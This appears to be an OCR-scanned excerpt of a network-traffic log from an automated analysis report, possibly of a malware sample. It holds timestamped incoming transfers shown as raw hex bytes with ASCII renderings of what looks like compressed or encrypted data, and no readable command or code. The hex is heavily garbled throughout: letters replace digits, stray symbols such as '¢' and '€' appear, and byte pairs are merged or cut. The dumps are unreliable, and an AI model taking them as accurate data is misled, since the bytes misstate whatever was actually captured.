Data Ascii: r@FQC"52h!\=cpfkG,sGxpTqwr<5XZYqgk_L|N4jei<>p]A$DMN;:IdVJIBK}Z/i]}?Hm\R+.")Rblj!B/#ScMj%

Data Raw: b3 79 b2 Oc 50 d9 b1 6b 57 1e 38 e9 eb ba 2b 4d 27 df ca c2 ff d7 32 5d 8f cf 08 89 4e c8 a8 51 77 65 9a ac 24
aa el 94 95 12 24 a9 79 48 85 50 8a 1f 8d f8 20 00 8¢ 0d 89 f7 96 4c 9e 32 d7 le le 70 3e a0 71 b3 e0 Oc 13 5d 06 05 36
b0 39 02 24 10 36 bl 1a 95 6d 5d 97 ac e6 ac 52 53 3e de 18 c6 1a 32 cb df 70 22 1e 26 7a da 90 fO 41 93 e5 6b ef 87 el
66 74 b2 2e f9 cb 9a 25 af 1f cf b4 a9 40 2c 06 09 d9 6d 7d 5¢ 2d 6d 23 de c5 ed 87 b2 51 90 fd 25 af 7e 99 db 55 32 f6 da
96 ac 7e 8e 6d 2f 7b e8 db 77 7a c1 fb 52 2c 0f a0 Oe b7 3a d4 67 91 05 23 d4 11 Oa 8a 81 f4 05 a0 a8 f1 cc Of 33 0d 8c

36 14 69 6f 8a 70 Ob 4c 8d f4 88 2d dO 7c 75 6a 86 f8 c0 55 b8 21 da c2 d8 d6 84 fO 48 e3 Ob fa 85 32 89 a0 cd cd 87 8f 77
7acd 16 29 82 18 70 65 35 dd 57 50 c1 7b d3 08

Data Ascii: yPkW8+M'2]NQwe$$yHP L2p>q]69$6m]RS>2p"&zAkft.%@ m)\-m#Q%~U2~mAwzR,:g#36iopL-|uju!H2wz)p
e5WP{

Data Raw: 88 28 67 60 8e d0 d7 Ob fd d2 5e 6b a8 9d 4c 79 9d 37 5d 99 6f 5¢c a6 23 08 6e 53 c5 8e c6 95 a4 ef 00 57 85
2240 d6 c7 e7 f3 61 70 Ob 96 3c b6 43 18 9c Oc d1 a5 27 3e ee 33 6¢ bd 99 34 6d 4e ca ab 6e 7 30 4d 54 fc a2 67 71 al
5e 85 67 ba 2a el 17 91 50 be b9 7c 30 db f6 83 b3 86 9b 54 c9 d7 82 35 49 7b f6 47 e7 Oe Oe 8a 96 c4 77 51 eb d9 58 44
4b 7f 45 86 30 42 94 50 4b 2c Oc 7c c9 6¢ 83 06 9b 4d eb 22 5f ¢3 a6 8a f1 60 9d 3d 28 a9 a7 cf c8 54 82 b1 45 77 3e 3d
10 bd c2 6f 29 66 f7 02 84 73 bd 94 b5 bb 3b 7c 23 b7 76 5a 84 6a 4b bc df ab 9 14 d8 66 63 a8 e8 d5 83 5a 3¢ 30 a2 20
d8 86 3f Ob 60 9a ed 85 04 18 25 1c 1e ab 13 a7 0f 85 83 f8 47 ¢3 76 77 64 Ob b2 a2 61 53 f8 5¢ 73 5b 2a b2 97 25 77 08
240d 73 c5 0f d9 1a 89 5f 95 41 6d bc 46 2f 4b 35 18 11

Data Ascii: (g kLy7]oWnSW"@ap<C'>314mNnOMTgg*g*P|0TS{GWQXDKEOBPK,|IM"_'=(TEw>=0)fs;|#vZjKfcZ<0 ?
%GvwdaS\s[*%w$s_AmF/K5
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kBytes
Timestamp transferred Direction Data

2022-01-14 03:59:51 UTC 4094 IN Data Raw: f0 a9 77 8b 4a 6¢ 7f 46 f6 88 8d 6b 49 bc f9 3e 03 7b 3e de 42 b8 bf 53 22 ¢5 51 cf 69 aa 06 18 32 71 el 5d 41
20 a6 82 bd fa 3d 34 4a e5 85 c7 64 6f 24 3e ca d8 28 17 e4 16 8b a6 73 5b 4b a4 9b 56 4e de 3c 91 8f 3d c1 21 00 93 fc
50 ee b3 9a b5 84 df ce 44 fb 4c 08 3b 52 64 17 d9 ea d6 51 39 d1 6b Of 03 4f c9 d3 a5 ef 32 c9 5f b5 a6 c6 58 54 ab a9 ad
¢4 1f 09 59 f1 7d 25 a0 39 17 5b 78 79 c3 7d 7e 4d 52 26 41 12 2e 73 a8 0f c7 9a 32 14 66 28 7f 8b 10 e4 28 49 ae 80 44
bd 02 ea 7d bd ed b1 Oc 89 1b 22 c¢5 10 d0 3d fO b2 a6 f8 45 a6 fO b5 42 c8 Ob 2e f5 92 3¢ 17 97 42 7d 57 b4 36 91 a8 1f
c6 63 b5 3e 13 94 5a 77 a5 56 a5 18 71 93 fa 9a c2 6e 1a 26 1d 6¢ d3 d9 66 31 be 82 4b 72 40 c9 5b 08 53 54 49 ed 50
b3 ae 97 d0 6f a9 61 b4 1e fd 93 53 3a 8c e0 ce 43 1b
Data Ascii: wJIFKI>{>BS"Qi2q]A =4Jdo$>(s[KVN<=!PDL;RdQ9k02_XTY}%9[xy}~MR&A.s2f((ID}'=EB.<B}W6c>ZwVgn
&If1Kr@[STIPoaS:C

2022-01-14 03:59:51 UTC 4110 IN Data Raw: 1e 54 9d 7a 40 55 70 0d fe 41 fa 29 de 72 6¢ f5 79 cc ed 71 31 45 79 08 53 b2 fO b6 c0 49 1a 02 93 bd 7d 02
4508 6b 28 5d d1 98 a0 6a cf af c5 61 03 9d d4 d7 17 5a ed 65 ea af 6b dd 3e 6a 32 ee 64 f2 59 39 de d5 05 6a 55 f5 4c
82 e581 97 ¢9319d 40 7d 3f aa 79 d2 Ob f4 71 7f 07 79 7f ef 4a 6f 6¢ cf d4 90 27 b6 56 9f 61 2d Oe e4 21 6 5b bf 80 b0
28 7b df c0 f1 63 f7 1e b6 3d c0 8b e2 9c c8 71 30 6e 6¢ b6 da 26 46 39 25 f1 79 87 4a fb 7b 99 56 95 44 b6 9f d5 c2 a3 69
ff ef 97 43 42 7b ef 00 3¢ 2e ca c6 33 2d c1 86 2f db 2d b2 b1 74 a4 d2 7f 01 7d Oe 57 c3 4f ce c6 13 41 c4 c5 72 5a 8b f4
3d a5 27 ¢5 23 a9 26 5b 7d d6 Oa 5a ¢3 32 c5 3b 86 2d 8c fd 0d db 58 39 3f 45 12 3e d8 0d db 9a c6 ab a0 97 c1 8f 32 78
55 ¢3 b3 b0 e6 c5 f7 al 04 6f 72 7a 45 3d 3c 46
Data Ascii: Tz@UpA)rlyglEySI}Ek(JjaZek>j2dY9jUL1@}?yqyJol'Va-![({c=q0nI&F9%yJ{VDiCB{<.3-/-t}WOArZ="#&[}22;-X9?
E>2xUorzE=<F

2022-01-14 03:59:51 UTC 4126 IN Data Raw: 71 5d 06 b9 94 07 ba al 64 6b 8c 37 e2 77 87 b2 d0 30 06 68 9c 8d 5f b4 b0 d0O c4 23 36 01 5¢ b8 eb 75 33 06
d5 57 9b 8a 20 8c e8 f8 d9 2e 20 3c 08 b3 06 18 2c 21 77 1b fd 8f a7 5d ca 75 92 ¢9 57 2e a9 a2 b1 09 00 56 70 96 25 3c
66 8a ec 3a 57 51 le f8 94 12 2c ce a0 40 73 01 1c 3b 21 27 8¢ c6 71 20 8e 07 2f d1 13 71 3f 06 66 79 da 5f 07 f2 7e 50
a74232c5eca7 04 elbdad 77 26 ba 99 06 6a 3b 1c 59 ee 75 e9 ac 17 45 be c7 8e c0 4e 32 4d e2 8d a9 67 b2 f4 53
45 f9 ab 64 eb d1 01 d9 02 6¢ d8 db 50 1e 8c a6 9a fe Oe 17 8e 1b 7f ac ac f5 81 35 1a c8 5d a9 df a4 a8 bd e3 09 65 2b
4a51 30 c7 4c a4 98 b9 69 26 23 cb 51 €0 9e d6 72 5f d8 3a 19 a6 55 €6 53 3c b4 e7 70 18 19 76 1f 04 4d ae 3f 40 db 93
70 4b 0a 74 5e 48 57 37 1d d6 dd 2d 1d 35 10 98 fa f5 59 4a
Data Ascii: g]dk7wOh_#6\u3W . <,!wJuW.Vp%<f:WQ,@s;!'q /q?fy_~PB2w&j;YUEN2MgSEdIP5]e+JQOLI&#Qr_:US<pvM?
@pKt"HW7-5YJ

2022-01-14 03:59:51 UTC 4142 IN Data Raw: 99 df 9d a9 14 69 15 ec d4 d2 12 35 8¢ a3 22 d7 fc 4c 26 dd c9 12 ea 1b cO c8 e2 d6 1a ef 6d c2 b1 ae 58 97 f3
4a da 62 39 a3 0a 02 Oc f2 d2 e6 Oc 35 6f 62 82 9c d1 ac 38 c4 de 2c 72 2a el 4b 39 4b f4 €8 54 9d e6 47 b8 fe ad fe 89
eb c2 e0 b7 0f 6d d1 13 6e 1c b9 4c a3 d3 e6 ae 2f 0a c7 48 8¢c 08 a5 ed dd 4c 32 d4 65 8e Oe 45 74 ¢3 51 63 f1 3c ec 91
a7 ¢l da 70 9c fa 28 38 f1 5b 56 bc 33 8f 06 dc ac 5f f9 85 94 14 91 50 ee 53 8b 32 86 ¢4 8a 62 11 bd 57 80 3b 6¢ 54 2f 51
cc bd 5f ac f9 da 1a ea 6d 8e Oc 10 ed 13 88 dd 63 d8 d5 cd 04 61 e3 a6 bf bf €9 6¢ ca Oe b2 d9 65 85 14 30 f3 {5 45 f6 70
02 dd 16 d7 40 87 49 9a 31 03 a8 d3 71 36 7f 35 b6 b7 05 9a 33 31 bf 05 a9 8a 9f 72 d6 8b 9c 1d ad 70 b5 10 06 fO 90 43
74 d6 3c ee 84 52 e4 b7 76 84 41 25 c0 Oe 33 4e
Data Ascii: i5"L&mXJb950b8,r*KIKTGmnL/HL2eEtQc<p(8[V3_PS2bW;IT/Q_mcaleOEp@I11q6531rpCt<RVA%3N

2022-01-14 03:59:51 UTC 4158 IN Data Raw: 90 cd bd 74 a9 e8 c1 b3 9a 52 b0 55 2a 06 32 59 81 60 4e 8c 68 8e bd cd 1e a6 e6 Oe bd 2c 9a a9 ad 41 b1 18
7d b6 d1 ca b7 af e0 e0 06 01 4c de e6 a3 6a a9 50 €9 7b cd ce d6 bd d4 23 6e 26 e2 c5 2d 34 4b 8c d4 f2 56 a3 db a3 1b
b1 44 19 9e Oa ce 8f €6 2a c0 bb df a3 f4 f0 1e 74 23 3f e4 2a 84 a3 28 55 95 09 26 ad 4f ff 1b 9e 46 7b a7 8e cc 45 10 5b
Oe 38 a0 27 bf 13 93 7a 89 9f 31 43 af 7f 24 el b6 6d 0f 03 df Of 1b 30 fb 52 4b d3 f9 69 7a b4 6b fe 09 26 43 1a 98 72 53
3d 55 70 00 44 38 cf 26 51 63 94 97 93 e2 a7 c0 2a 18 f4 ¢7 9d ab 72 d2 44 15 2f {3 f7 58 30 6¢ 45 34 fd 85 c7 ad 00 44 2a
62 ¢c54b 05 d1 74 17 c2 e4 d7 Oa fO e4 11 4f ff 64 cd d3 5f 9f 36 f4 26 el 55 af 08 10 5f 25 3e ed 1c 7c ed 82 a5 3e bd 51
10 1a 72 bd 15 63 a8 Oe eb 35 59 62 79 29 c7
Data Ascii: tRU*2Y Nh,A}LjP{#n&-4KVD*t#?*(U&OF{E[8'21C$mORKizk&CrS=UpD8&Qc*rD/X0IE4D*bKtOd_6&U_%>|>Q
rc5Yby)

2022-01-14 03:59:51 UTC 4174 IN Data Raw: d5 d8 47 45 ca 84 8¢ 87 55 6a 5 49 f2 99 f0 c8 €9 61 09 f9 f5 e6 fb e0 3b bb 66 1e 17 ae 13 a4 c8 e8 a9 54 c7
7 6a 58 ca 32 17 bc e2 9f 48 ac 92 2b 33 b9 4f Oe c1 90 ab al c9 95 5f 51 41 b0 bf 8e 5e e2 59 5a 34 4e 64 24 2d af f5 9d
75 d2 14 b7 0d 9a a5 66 1b 12 8d Oc Oc 45 f4 ee a4 23 4¢c 92 79 f1 67 03 6f ca f3 37 95 e7 38 07 76 0Of 55 5¢ 98 76 6e 04
bl 4e ae 75 6e 14 42 73 97 40 60 bf 6b 06 6d 9f d2 7a 28 3e b0 70 22 7e 11 f0 3a cd c1 52 19 28 79 25 13 16 Ob 2f bl 72
Oc d8 a3 ee af 2b ba cd aa dd 06 cf d8 4e 04 ca c7 20 aa 7f a2 4a 3e d5 91 c1 3c 54 ea el b5 2a 1f e4 77 7aca a2 71 95
da 01 bc 89 76 5f 45 af a0 08 50 f1 0a 2d 50 e5 81 7f 39 ¢6 85 5a 2f e7 dc 65 41 40 2b d6 1a e5 8f 4b 9c 92 8¢ aa 4b 9f 06
e4 e6 af 22 3fal 05 18 79 17 83 e3 cd f8 2b 34
Data Ascii: GEUjla;fTjX2H+30_QA"YZ4ANd$-ufE#Lygo78vU\nNUnBs@ kmz(>p"~:R(y%/r+N J><T*wzqv_EP-P9Z/eA@+
KK"2y+4

2022-01-14 03:59:51 UTC 4190 IN Data Raw: 70 93 17 14 40 dc al fc bd f8 c6 8a €3 e4 ee 56 f9 e7 5¢ 61 8c 82 63 ee 2b 5e dc 14 94 f6 ¢7 f8 77 46 7c 6 c2
50 d0 e2 e ef 16 40 62 76 4a 1le 21 a3 75 b0 e8 ae 07 7c bb bd 86 ca 9c 76 aa 56 7a 8b 72 ba 6b cb 3a 6f 59 f1 92 b5 84
8e be 35 02 08 08 bf 57 9f 2f a5 f4 34 17 5e b1 2b 65 28 b2 46 b9 79 8f 4e 19 ad b8 fd 32 28 53 c4 9a 3f 37 1d c0 1e d3 2¢
48 12 3a 59 14 07 ab b4 03 0d 01 e0 71 30 dd 3d 43 45 f4 02 ad e3 26 11 2f c0 d2 89 20 76 77 e5 81 el f9 eb 65 8d 31 8f
25911 00 ce 37 04 2a al 02 c8 2c 72 16 71 d7 a3 4c 9e 88 30 84 bc d2 aa b2 da dc 16 21 ef 2f 1b 7c 95 92 16 01 3d 9a
b8 08 eb 01 77 1e c6 23 a3 38 97 8e 7c 1d 99 2e c6 f2 d2 53 f8 e7 Of 68 4f b6 al 42 e0 df d6 4f 77 f9 ac a4 73 3f 3e bc 20
3e d5c9 b5 ec a6 17 78 ¢8 d5 a2 57 d3 Oc bc 61
Data Ascii: p@V\ac+"wF|P@bvJ!u|vVzrk:0Y5W/4 +e(FyN2(S?7,H:Yq0=CE&/ vwel/Y7*rqL0!/|=w#8|.ShOBOws?> >xWa

2022-01-14 03:59:51 UTC 4206 IN Data Raw: f9 9a ab ea dd f1 d4 ea 61 59 13 ca ad 6b fa 99 29 9e 7b Ob 3f d8 47 57 52 63 17 23 41 3b 51 4d 4c c6 ab 9d
10 b6 48 c3 8c 30 10 b8 2a 7f 68 05 30 da 06 d5 28 37 69 42 1c 62 2b cf 23 67 a2 27 43 29 a7 98 ¢8 32 7a cb a2 27 8a 79
78 df 39 7b f4 18 8f 58 a2 85 d7 92 f3 ¢8 5b 5d a4 5a 6¢ 8e 19 37 Oc 05 24 c0 29 8a 20 29 67 19 b6 f9 74 62 el d5 a0 a6
52 d2 be 54 31 ff 44 7d 27 Ob 01 51 8b 40 99 Oc 9a c8 69 f2 81 1f 6d 19 6a 39 20 51 94 c4 al 28 a3 c6 ee e2 cf Of 82 d1
bd c5 4b ae b3 25 77 3d 1d 38 3e f0 2e 29 Oa df 79 f8 93 8f 74 13 c6 a6 54 33 89 5¢ 60 1a df 2a c2 23 0a 9b bc 79 bc 06
56 al d7 el 58 ae 4e ff 03 89 84 00 9d 7d 54 e6 71 c4 ff 9d cd 6f 45 fd ba e7 ec 5a b3 17 40 66 b7 89 Oe 9a f0 43 6d 88 99
b7 0a c1 35 cc 1le eb 57 1d d1 90 92 24 0b Oa fd ab 48
Data Ascii: aYK){?GWRCc#A;QMLHO0*h0(7iBb+#g'C)2z'yx9{X[]ZI7$) )gtbRT1D}Q@imj9 Q(K%w=8>.)ytT3\ *#yVXN}
TgoEZ@fCm5WS$H

2022-01-14 03:59:51 UTC 4222 IN Data Raw: 61 a8 03 e6 a5 a4 16 44 Oc Oe 35 24 29 31 c6 68 ca ec 14 2b 3e ca 9f 67 df 2b 13 b1 62 e8 0a 77 ec 4c 3f 54
6b 55 f4 45 be 0f 31 63 ¢4 d9 b8 3d d1 07 92 61 73 16 c9 38 08 ea 54 14 1d c3 3c 00 be 66 ee 47 11 fb 6b €9 27 6¢ 73 80
0f 31 97 80 13 17 ce cf 8a f8 fO ce 2¢c 13 44 d4 31 1c 9f 52 ce c6 44 ff 78 48 cc ac 2d a7 b7 d3 d9 47 6d 9c 06 26 2a fd fO
7af8 80 91 47 fb dc 69 05 ef 56 ¢8 64 c8 7e 9d 3a 4f de e6 1b ef 9a a6 17 el 6f 7c 49 7a 2f 96 5b 84 68 12 a6 Of ee e2 c8
a8 b6 c3 48 12 28 4a e7 0f 6¢ 2c e7 79 2b 7d ff 7c 7a 67 dc ff 2e b9 aa 63 43 f9 38 5d Oe 1b 6d 03 12 5b ca 72 c8 70 fb ee
aa 1c b0 fe 51 26 6 70 ba ad 1a c7 ed bc d2 65 c9 da 19 a3 ab 1a e3 a4 bc a0 8c a8 cd f6 b6 d4 78 62 1e 51 14 5¢ 44 a2
bc 3d 19 d3 3f 16 ce ec 20 90 01 10 03 7d 70 57
Data Ascii: aD5$)1h+>g+bwL?TkUE1c=as8T<fGk'Is1,D1RDxH-Gm&*zGiVd~:0o|lz/[hH(JI,y+}|zg.cC8]m[rpQ&pexbQ\D=?
W
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kBytes
Timestamp transferred Direction Data

2022-01-14 03:59:51 UTC 4238 IN Data Raw: 80 c5 fe 08 93 04 d3 24 00 d4 3d 70 67 29 70 29 ea aa 64 fc b0 81 47 el 4b 8c fb 26 ef f2 b3 17 58 ae b2 ac 23
ec f3 be 38 48 0f ed b8 a8 6f 2d af 5a ac 1e 28 fa 84 7d 87 4c 22 e6 db 2f ea 4d a8 46 b4 38 61 0d 90 b7 4d 36 85 1d eb ef
ce a4 c4 03 90 64 44 c0 fd 1c b1 8b d3 94 f5 f8 ¢3 d4 94 51 72 ed 9a e8 a2 bl 96 3d e4 fd 34 c2 d3 bf 29 24 b5 b6 1a aa
89 8e 49 61 c6 c4 e0 fc ec 6b 6b 14 41 21 dd 7f 18 d5 b4 2e bf cf 4a 2d 6d ec 8a ed 07 b0 2e b0 fa 52 84 13 72 66 f1 6f cO
d8 a8 e6 61 fe 8c 6a 00 be f1 a3 a3 4e e7 90 f0 f9 Od 7e aa eb 2c 31 03 95 93 ac 6f 6d ba d3 78 5d f1 5d 1b f2 4a 55 87 4e
be 53 71 e2 2e el b8 3e 36 0Of 8e bc ee 3b cb 1a 3c e3 e6 e6 cd 97 32 3d 99 2a 24 ae 50 e5 1c a4 66 c9 a3 30 bb 07 99
a7 fc 13 cd db 6a e8 ea cc 65 08 a5 82 a9 5d b9
Data Ascii: $=pg)p)dGK&X#8Ho-Z(}L"/MF8aM6dDQr=4)$lakkA!.J-m.RrfoajN~,1omx]][JUNSq.>6;<2=*$Pf0je]

2022-01-14 03:59:51 UTC 4254 IN Data Raw: cd a0 5e 86 d3 89 dc ec 77 5¢c 51 e4 6e 3c 31 7b 61 0f 04 15 e7 7a c2 d4 bc dO af 10 c2 60 5d aa 1c 0d ce 33
la 74 48 fc c9 68 46 04 85 dc d9 69 f8 4a b0 a6 bd 81 1b 28 b2 8 6a ad 02 c1 8d d8 5c Oc 2d 23 2e a7 ee 45 f9 d7 72 47
2709121 c5f28d 1le ed 9e 52 78 da e2 77 ee 1f 65 91 €9 €5 10 03 c3 81 f4 78 01 a4 df da 78 €9 a9 a8 64 00 2e 77 6d
20 aa 52 a4 6b cf 39 f1 1b 7b ff 5b 19 b3 6a 25 ec e6 86 53 67 04 fb 06 c7 b4 ed 91 82 c8 a3 18 82 93 9b b6 47 16 03 ea
70 a2 00 69 3d 37 53 40 19 60 08 ff 8d bd 04 91 f4 bb 1b 61 35 9e 4e 75 0d 2b ba c9 a0 37 81 b1 8f ec fd 73 76 el a0 e4
04 20 eb 46 d4 67 1c 11 ba 96 73 1f 04 4e 14 bf 88 23 f8 3a 61 b5 ff a9 12 8c ad 8e 73 46 14 f9 44 3b 18 68 8e ch 73 60
d6 83 e8 64 83 b4 c3 24 38 6f 58 fb f8 9d 91 bd 05 ee bb
Data Ascii: "w\Qn<1{az [3tHhFiJ(j\-#.ErG"IRxwexxd.wm Rk9{[[%SgGpi=7S@ a5Nu+7sv FgsN#:asFD;hs’d$80X

2022-01-14 03:59:51 UTC 4270 IN Data Raw: 52 e8 Of af 13 d3 5¢ ¢3 83 87 c9 f7 al 53 49 69 1a 45 f3 74 94 00 ba 40 70 1c a5 e3 48 c7 8f 33 d1 ff db 02 5b
clf4 ee df 56 1b 7f 43 42 cf b3 03 35 2b f0 09 af 4a ba c1 b9 2b cd 26 cc cb bb 16 60 9f 1c 65 96 be a9 e5 35 ¢3 18 96 cf
df 1b 01 96 2d 86 48 7f 76 99 b0 17 83 f9 bd b3 2c 09 f4 df 83 92 8d 7a ff 5f 91 f4 fa 10 5d 7a bf 98 33 43 4f 14 bf bf 7f 19
31 03 c2 84 36 fe b0 56 a6 a2 8d Oe 64 a3 18 dd 09 7d 08 f6 6d 66 €3 Oe 22 3e d2 ff 38 05 c¢7 b5 3c 70 4f 96 17 9c 56 6¢
3d el 79 54 79 9d 09 ff d3 9b 3d b4 54 bd d5 e7 ff 4d 8¢ bc 93 f7 56 Ob c8 ce 1a 1la 16 d5 49 37 ed ee d6 30 b5 51 3e 9¢c
40 d1 dc 9e b5 e4 5e 31 19 62 42 f9 f7 f5 2a 58 99 02 5f 97 9d 11 81 89 2d 36 73 37 51 95 95 57 c¢6 9c €6 7d 39 96 71 b2
6¢c fb d1 db 22 24 c8 cd a3 db b3 3c d1 a3 94
Data Ascii: R\SIIEt@pH3[VCB5+J+& e5-Hv,z_]z3C016Vd}imf">8<pOVI=yTy=TMVI70Q>@"1bB*X_-657QW}9ql"$<

2022-01-14 03:59:52 UTC 4286 IN Data Raw: 10 c2 44 82 65 81 dc f2 d3 fd 5¢c ac 7a c4 ea 66 47 7e 67 bc ac b3 bc ¢4 08 28 04 30 f2 6e 8b 48 3f c4 aa 46 2a
7d a4 09 5¢c 28 d1 5e 01 9c 74 bb 76 ea bc 01 51 8f 3b 67 f0 5a 65 27 2e af de 40 Oc 3e 5f f3 3e 2c 4e 67 f9 6f 68 f1 91 01
82 6a db ac 05 d3 19 22 a8 6d 37 78 7 57 a5 8b 85 c1 c0 ef 69 34 cc ca b6 91 02 79 ¢3 61 50 ea 46 3f b8 d2 61 69 7b 50
96 €9 55 a5 fd 7d 5e b8 2e 18 17 86 8d 93 61 ab ae f2 70 9d 77 6b a2 a2 76 b9 ed 3a e4 1f ef Ob fa 49 6¢ b5 5a 56 al 75
26 8e 25 0f 8a Oe 0d cd 5e ad fe fd 6b 5¢c 7d b1 54 11 73 5a e2 65 ed bc f9 d7 bf {7 da ac ae f0 el 81 1d 60 fO be e2 20 19
6b 76 33 6a 07 2b e2 bb 83 da 21 f9 al 78 88 €9 b1 57 35 4e 92 be 2c Oe bd 74 37 34 1a cc f6 86 c¢8 c6 ad 16 5c b0 2b ea
b6 79 e3 a3 f4 03 9a a0 ea 18 d3 79 b3 64 16 1la
Data Ascii: De\zfG~g(OnH?F*})\(*"tvQ;gZe’.@>_>,Ngohj"'m7xWidyaPF?ai{PU}*.apwkv:[IZVu&%"k\}TsZe" kv3j+IXW5N,t74\+y
yd

2022-01-14 03:59:52 UTC 4302 IN Data Raw: b5 c0 84 42 f6 al 5¢ 36 75 9d Of e0 34 6a bd €9 aa bb e2 93 77 81 47 20 60 ba 69 5a 33 47 27 8d e2 f2 f9 fc f3
9b 7a 06 67 51 c7 87 fc dc 2f 00 44 fc 97 30 8¢ be €5 al 97 98 cb 14 05 db c0 2c dc Oe 84 b7 42 8b ac d7 91 55 ae 16 74
52 e8 70 84 0a 94 dc 99 86 e5 bb 5¢c a3 ca 36 08 c6 1a al e0 9b fa e0 f9 ca ff Oc 58 9e d5 c2 4a 34 89 a7 58 d6 92 c1 8b
fb ca 5¢ 8a 23 el 8d 9d 8a f4 84 fa 1f 2e 8d 9a 6f 94 43 85 e2 85 d2 e9 99 53 c0 05 f5 06 aa c6 c2 41 16 54 ac af 46 a9 cb
87 e5 7d 2e 4d a3 44 f4 ad 1f d2 ac 15 5¢ 6a 14 f5 09 10 4c e4 00 76 9a 7a 12 92 3e a9 e6 14 be db be bd 7a 18 6a 93 f9
15 b8 bd ¢8 f0 d1 03 98 3f €8 a3 07 73 14 de 4c 60 8d 1c cf aa 2e 04 5¢ c2 16 €9 ef 1¢c 56 97 66 66 39 ad 66 Oe 1b 42 21
20 1e 6b cd 62 b8 52 86 60 83 f1 c1 e2 f5 77 6f ab
Data Ascii: B\6u4jwG "iZ3G'zgQ/D0,BUtRp\6XJ4X\#.0CSATF}.MD\jLvz>zj?sL".\VffofB! kbR wo

2022-01-14 03:59:52 UTC 4318 IN Data Raw: 14 d7 ec e7 1b 6d f4 75 e7 ff 65 81 52 0b 78 96 98 95 d3 al 70 6f 60 58 62 3c 51 67 eb b5 de 79 20 16 05 90 5f
23 2e f8 ¢1 82 a9 5d 2c 1e de 09 fc c0 43 5d 1c dc c9 6b 55 32 8d f0 4a d3 8f 8e 8e Oc 99 2e 6f 24 eb bc 19 c0 cc d7 ca ec
fd 2e 31 72 cf 3d 6f 51 54 1e 06 2b fb a4 90 e7 64 9f c6 3d 8a 2e ¢4 c7 81 10 24 b9 9f 41 ed 3a 3d d2 3a e2 63 d4 1b 56
b9 44 70 0a e3 e8 fa a2 31 9c e4 3c 7d a3 a9 de 5a 7d a5 84 9a bb e9 4a f8 5f f5 91 19 92 el 5e 49 bf 8f d9 2f 55 71 f2 17
99 58 17 48 3b 5a 70 b3 al Ob 4d 6a ad 4a 29 7a f3 1a 55 58 €6 79 d7 al 03 51 62 37 Ob 19 cf 14 ca ca 0f 46 ca fa 6e 75
6e 06 ab e4 df a5 e6 99 75 5¢ el cf ff 56 8e e7 e0 3d 31 c2 cd a2 5c¢ f6 b5 04 76 80 9d 19 29 cf d5 ff 54 cd a8 19 0d 16 55
42 2c 4376 17 a9 c5 2 4c fe 29 48 19 39 c8
Data Ascii: mueRxpo Xb<Qgy _#.],C]kU2J.0$.1r=0QT+d=.$A:=:cVDp1<}Z}J_"/UgXH;ZpM]J)zZUXyQb7Fnunu\V=1\v
)TUB,CvL)H9

2022-01-14 03:59:52 UTC 4334 IN Data Raw: 39 3d de 0d 8a 3f 38 9b 38 2a 9f 49 ed 20 78 a0 83 bb 08 d3 2f 52 46 06 53 c1 €0 47 63 df 5 1c 39 45 37 b1 b3
4b 48 ee 5d 07 b1 67 30 3 61 8a 16 96 dc 90 cd 6a 13 10 70 7f de 0 d1 29 86 cf a3 dc ed 6¢ 2d 57 d4 35 99 21 c0 fd d5
d7 60 7¢ 58 a3 dd 61 ac fb f1 a3 ee db 47 bb f6 f8 61 c2 a0 54 c1 55 44 9f 3a Of 94 3b 60 Of 3 d5 Oe 40 a7 €0 42 d1 61 55
49 a2 6d e6 36 d3 92 2f e2 c9 28 dd 4a ba b7 2f f0 69 cd 29 a8 c9 64 b0 72 7c 80 6b a9 b6 e3 39 48 82 60 a2 dc 3a 63 ce
5¢ 0b 0d 13 b5 16 f1 1b 3a 3d €5 71 4e ae 14 bb 3b 80 ec 4e b8 27 3f 45 a5 b6 c9 32 25 94 bf eb 14 63 3e 9 b6 {7 28 84
b2 dc f2 72 5b 0d 2e 4b 59 3b db 99 4b f2 8¢ ¢7 9d 36 ed 4a 98 c8 aa 64 99 45 dd 0d be 2f 18 09 3a b7 86 17 e8 be 38 bl
b1 ad 19 ae 5e 77 3f 96 6b 24 68 5b 81 15 6d d9 46
Data Ascii: 9=?88* x/RFSGCOE7KH]g0?ajp)l-W5!"|XaGaTUuD:; @BaUlm6/(J/i)dr|[k9H :c\:=qN:N'?2E2%¢>(1[. KY:K6JAE/:8"W
2k$h[mF

2022-01-14 03:59:52 UTC 4350 IN Data Raw: 51 3¢ 26 2c a9 bc e4 b4 fd df e3 9a 39 1b 84 ed b2 01 20 be 8c 81 ad 56 72 09 8f 70 94 f1 12 e2 40 6b c6 6b 2
b4 8 93 22 49 83 3f e8 dc 33 78 9b 43 a2 89 ¢3 b2 a9 79 72 1e d1 30 95 1c ec 13 2f 7c 14 34 45 8e 67 7 42 6d 14 73 dd
dd 70 d4 d3 50 70 bc 5e d6 55 b3 c2 df 00 bb c7 58 42 79 5d c6 8a 38 7c ce 6e Oc 4a 01 81 82 5b b8 3c 3d ef 23 4f 09 32
a8 34 44 17 1e ef e7 73 b7 b5 13 25 42 f1 ec 0Of 74 68 7e 7c 2e ba 5f 52 a0 27 37 91 d1 37 59 09 b5 1a bf be ad 3f fb 48 c4
bd da 54 e5 e3 c2 49 cb 1a 17 ea 22 b1 88 ae c9 4f 30 3b 5f 1a 58 bd f1 87 cb bf 52 a9 10 f1 f2 ce ec a5 f1 Oc 9c 77 73 e4
a4 be 5f 73 4e cd 37 bl 8 46 b4 1f 17 02 41 d8 67 77 de 51 58 99 d1 03 df ce 89 02 d2 38 c0 2d 09 9d b1 ef €8 46 88 ab
1f 81 3a 5¢ 49 9c f0 8a 77 94 6e 96 67 Of 7d a0
Data Ascii: Q<&,9 Vrp@KkKk"1?3xCyr0/|[4EgBmspPp”rUXBy]8|nJ[<=#024Ds%Bth~|._R'77Y?HTI"O0;_XRws_sN7FAgwQX8-
F:\lwng}

2022-01-14 03:59:52 UTC 4366 IN Data Raw: 6e bc db 3d cd 3a 99 7b 02 03 4c 5e 74 2a 9a aa 3d fd ¢3 bl 7f ac 32 ab a9 29 11 2c e3 ¢c6 f2 {7 ad ed b5 ab 31
e9 7d f4 33 27 ¢8 78 1b 19 26 d0 18 66 cd ac cf 23 81 ef ca 5a 54 15 15 95 bb 34 86 1d 89 3a 61 c4 {7 dc cd b7 8e c6 38
a6 f1 28 46 dc b7 d0 ba 52 03 01 e3 el 26 ac 80 4d 04 53 75 83 65 d5 d4 el 22 12 a6 24 5b 2e bl e8 2d ac 1a d1 1c 58
5a 92 da 9f 9c 79 6¢ 48 54 5¢ 02 32 56 15 5b ce ba 5b e3 4a cd 56 dO c6 59 18 ee 8b 38 9b 12 03 3f 6f 21 9d c2 b8 cb 08
